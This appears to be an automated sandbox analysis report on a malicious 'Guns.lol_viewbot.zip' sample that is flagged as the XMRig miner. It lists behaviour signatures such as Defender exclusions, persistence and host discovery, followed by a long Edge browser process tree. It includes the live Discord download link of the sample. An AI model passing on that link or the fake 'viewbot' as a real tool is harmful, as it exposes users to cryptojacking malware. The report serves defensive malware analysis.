Analysis
- user interaction
yes - max time kernel
407s - max time network
399s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
23/10/2026, 16:01
General
- Target https://cdn.discordapp.com/attachments/1531069890197327922/1561342222828437664/Guns.lol_viewbot.zip?ex=6adc9842&is=6adb46c2&hm=2fa29eed7aec6aa23ea80e86fe13f849f371441c44ef9967aca3aacc989b281e&
- Sample261023-tf7bracv9w
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 8 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 38 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 6 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 14 IoCs
- Loads dropped DLL 48 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Drops file in System32 directory 4 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- UPX packed file 10 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 4 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks processor information in registry 2 TTPs 21 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 11 IoCs
- Modifies data under HKEY_USERS 46 IoCs
- Modifies registry class 8 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 32 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1531069890197327922/1561342222828437664/Guns.lol_viewbot.zip?ex=6adc9842&is=6adb46c2&hm=2fa29eed7aec6aa23ea80e86fe13f849f371441c44ef9967aca3aacc989b281e&1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ff9874fc188,0x7ff9874fc194,0x7ff9874fc1a02⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5356 -s 12003⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1852,i,4021251448881472841,16724361951609177192,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,5874798734857366294,18246505950806346985,262144 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=3056 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1936,i,2045186461543118586,18034669411441515515,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=2932,i,17430903967464613158,18072635122151122240,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3412,i,6773984462606887509,18328744961618322002,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4944,i,2869396229878365927,4065264213928778872,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=4980 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4960,i,10282031728144720728,6107915118270571142,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5604,i,2568683210029929610,4466096615596678918,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5684,i,2938071564067718991,17918434032389740754,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,335670212927624960,16358454850675393059,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,335670212927624960,16358454850675393059,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6308,i,14851940114419999637,16542375816026734611,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=6720 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6028,i,12600437290849922297,238885745161457963,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,13441711569617972242,8320319021855044040,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=124 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6392,i,10458411595668528928,16261281511998784669,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=6448 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6772,i,14753471163562916756,14633042597654042730,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=5824,i,14205258397123880366,299443849258903486,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6524,i,5269707273263904058,5445865536788893296,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6960,i,14285317256760267297,2324471377824275747,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=6956 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=5188,i,6784968717696709772,971992965151877629,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5252 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=5228,i,15533894639147719930,17760612098528320527,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7332,i,5750655790108251407,17490431379713673641,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=7324 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=5988,i,2911428856097556371,17777169961942983204,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=7192,i,17365461156857880624,10296823254197146127,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=7284 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=7676,i,3807124389928441421,5094182019503329680,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=7680 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=6964,i,15575372098681465566,15312880859411229882,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7400,i,13354010107785951925,11516077009179529767,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=7484 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=7704,i,13563153034876459658,11947513680552842655,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=7728 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=5764,i,5201860963913529071,423320436734367039,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=7224,i,1754175612123717939,7880862931937865113,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5712,i,10529677466431214449,18208100545966477570,262144 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=5848,i,16397698071369290114,4295064079928032284,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=2884 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=5288,i,11612678061657409074,9401150186332917933,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7796,i,11619094028042881765,15936315962549259299,524288 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=3096 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=5596,i,14996243461107829473,14672249056084380873,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=7864 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --metrics-shmem-handle=7672,i,11399712009774575914,16519680480564742948,2097152 --field-trial-handle=3060,i,7686870728868440405,13472350690503780628,262144 --variations-seed-version --mojo-platform-channel-handle=7788 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window2⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2ac,0x7ff9874fc188,0x7ff9874fc194,0x7ff9874fc1a03⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1936,i,17901939008585585967,3108109543737319252,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:33⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1804,i,10617870488962744388,5523916433545178238,262144 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2560,i,10200864395268708827,8122079839259677142,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=2716 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4204,i,642354710195496705,10939894291654485027,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4424,i,1988105250288899953,13115220040723667163,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4236,i,11176395517070087056,9607036417711062505,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:83⤵
-
-
